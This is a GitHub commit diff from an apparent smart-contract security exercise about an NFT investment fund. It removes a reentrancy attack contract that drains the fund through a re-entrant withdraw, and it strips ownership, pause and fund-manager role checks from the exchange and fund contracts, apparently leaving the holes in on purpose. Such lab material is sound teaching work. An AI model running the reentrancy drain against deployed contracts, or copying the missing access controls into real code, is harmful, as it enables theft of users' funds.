Skip to content

Commit

Permalink
Prepare for initial
Browse files Browse the repository at this point in the history
  • Loading branch information
as3810t committed Nov 20, 2024
1 parent c76819b commit a8f7fb2
Show file tree
Hide file tree
Showing 7 changed files with 10 additions and 365 deletions.
19 changes: 0 additions & 19 deletions contracts/FundToken.sol

This file was deleted.

40 changes: 0 additions & 40 deletions contracts/FunnyNft.sol

This file was deleted.

30 changes: 0 additions & 30 deletions contracts/MallorysMaliciousMisappropriation.sol
Original file line number Diff line number Diff line change
Expand Up @@ -8,37 +8,7 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
contract MallorysMaliciousMisappropriation is Ownable {
NftInvestmentFund public nftInvestmentFund;

error InvestmentFundNotEnded();
error FailedToSendEther();

constructor(address payable _nftInvestmentFundAddress) Ownable(msg.sender) {
nftInvestmentFund = NftInvestmentFund(_nftInvestmentFundAddress);
}

// Receive is called when the contract receives Ether
// solhint-disable-next-line no-complex-fallback
receive() external payable {
FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) *
fundToken.balanceOf(address(this));

// The attack
if (address(nftInvestmentFund).balance >= withdrawAmount) {
nftInvestmentFund.withdraw();
}
}

function attack() external onlyOwner {
if (!nftInvestmentFund.ended()) revert InvestmentFundNotEnded();

FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
fundToken.approve(address(nftInvestmentFund), fundToken.balanceOf(address(this)));

nftInvestmentFund.withdraw();
}

function withdraw() external onlyOwner {
(bool sent, ) = payable(msg.sender).call{ value: address(this).balance }("");
if (!sent) revert FailedToSendEther();
}
}
16 changes: 3 additions & 13 deletions contracts/NftExchange.sol
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract NftExchange is Pausable, Ownable, IERC721Receiver {
contract NftExchange is IERC721Receiver {
uint256 private _nextListingId;

struct Listing {
Expand All @@ -28,17 +28,7 @@ contract NftExchange is Pausable, Ownable, IERC721Receiver {
error InsufficientFunds();
error FailedToSendEther();

constructor() Ownable(msg.sender) {}

function pause() public onlyOwner {
_pause();
}

function unpause() public onlyOwner {
_unpause();
}

function sellNFT(address nftContract, uint256 nftTokenId, uint256 price) public whenNotPaused returns (uint256) {
function sellNFT(address nftContract, uint256 nftTokenId, uint256 price) public returns (uint256) {
IERC721(nftContract).safeTransferFrom(msg.sender, address(this), nftTokenId);

uint256 listingId = _nextListingId++;
Expand All @@ -60,7 +50,7 @@ contract NftExchange is Pausable, Ownable, IERC721Receiver {
return _nextListingId;
}

function buyNFT(uint256 listingId) public payable whenNotPaused {
function buyNFT(uint256 listingId) public payable {
Listing storage listing = listings[listingId];
if (listing.isSold) revert NFTAlreadySold();
if (msg.value < listing.price) revert InsufficientFunds();
Expand Down
15 changes: 6 additions & 9 deletions contracts/NftInvestmentFund.sol
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,7 @@ import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Rec
import { FundToken } from "./FundToken.sol";
import { NftExchange } from "./NftExchange.sol";

contract NftInvestmentFund is AccessControl, IERC721Receiver {
bytes32 public constant FUND_MANAGER_ROLE = keccak256("FUND_MANAGER");

contract NftInvestmentFund is IERC721Receiver {
address public fundManager;

string public name;
Expand Down Expand Up @@ -47,7 +45,6 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
if (_investmentEnd <= _fundingEnd) revert InvestmentAfterFunding();

fundManager = msg.sender;
_grantRole(FUND_MANAGER_ROLE, fundManager);

name = _name;
fundToken = new FundToken(address(this), string.concat(_name, " Token"), _symbol);
Expand Down Expand Up @@ -109,7 +106,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
function buyNFT(
address nftExchangeAddress,
uint256 listingId
) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) onlyRole(FUND_MANAGER_ROLE) {
) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) {
NftExchange exchange = NftExchange(nftExchangeAddress);

(, , , , uint256 price, ) = exchange.listings(listingId);
Expand All @@ -122,7 +119,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
function registerNFT(
address nftAddress,
uint256 nftTokenId
) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) onlyRole(FUND_MANAGER_ROLE) {
) external onlyAfter(fundingEnd) onlyBefore(investmentEnd) {
ownedNftAddresses.push(nftAddress);
ownedNftTokenIds[nftAddress].push(nftTokenId);
}
Expand All @@ -133,7 +130,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
address nftAddress,
uint256 tokenIndex,
uint256 price
) external onlyAfter(fundingEnd) onlyRole(FUND_MANAGER_ROLE) {
) external onlyAfter(fundingEnd) {
require(ownedNftTokenIds[nftAddress].length > tokenIndex, "Non-existent token");
uint256 nftTokenId = ownedNftTokenIds[nftAddress][tokenIndex];

Expand All @@ -147,7 +144,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
}

// Register NFT sales
function registerNFTSales() public onlyAfter(fundingEnd) onlyRole(FUND_MANAGER_ROLE) {
function registerNFTSales() public onlyAfter(fundingEnd) {
for (uint256 i = 0; i < activeListings.length; ) {
ActiveListing memory activeListing = activeListings[i];

Expand All @@ -164,7 +161,7 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
}

// Close the fund after the end
function closeFund() external onlyAfter(investmentEnd) onlyRole(FUND_MANAGER_ROLE) {
function closeFund() external onlyAfter(investmentEnd) {
require(ownedNftAddresses.length == 0, "Not all NFT is sold");
if (activeListings.length > 0) {
registerNFTSales();
Expand Down
34 changes: 0 additions & 34 deletions contracts/UniqueNft.sol

This file was deleted.

Loading

0 comments on commit a8f7fb2

Please sign in to comment.